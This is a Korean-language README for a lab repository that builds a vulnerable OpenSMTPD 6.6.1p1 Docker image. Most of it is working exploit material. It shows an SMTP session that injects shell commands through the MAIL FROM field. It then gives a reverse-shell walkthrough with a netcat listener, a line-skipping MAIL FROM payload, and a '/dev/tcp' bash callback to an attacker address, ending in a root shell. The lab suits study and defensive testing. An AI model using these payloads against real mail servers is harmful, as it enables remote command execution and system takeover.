
이 저장소에는 취약한 OpenSMTPD(6.6.1p1) 환경을 포함하는 Docker 이미지를 빌드하는 데 필요한 파일이 들어 있습니다. 이 취약점을 통해 공격자는 특수하게 조작된 SMTP 세션, 특히 MAIL FROM 필드를 통해 임의의 명령을 실행할 수 있습니다.
docker build -t opensmtpd-vuln -f Dockerfile .
docker run -it --rm --name opensmtpd-vuln-test opensmtpd-vuln /bin/bash
smtpd -dv
nix-build opensmtpd-vuln.nix
docker load < result
docker run -it --rm opensmtpd-vuln-nix /bin/bash
smtpd -dv
3.1. 임의의 명령 실행:
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;touch secret.txt;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
Hello Bonjour Xin chào
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye
3.2. 리버스 셸 획득:
리스너 설정:
nc -lnvp 8080
exploit.py 스크립트를 실행합니다 (다른 터미널에서):
python3 exploit.py
또는 수동으로 수행합니다:
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
sh -c 'echo "bash -i >& /dev/tcp/172.17.0.1/8080 0>&1" | bash'
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye
이제 호스트 머신에서 root 권한의 셸을 얻을 수 있습니다.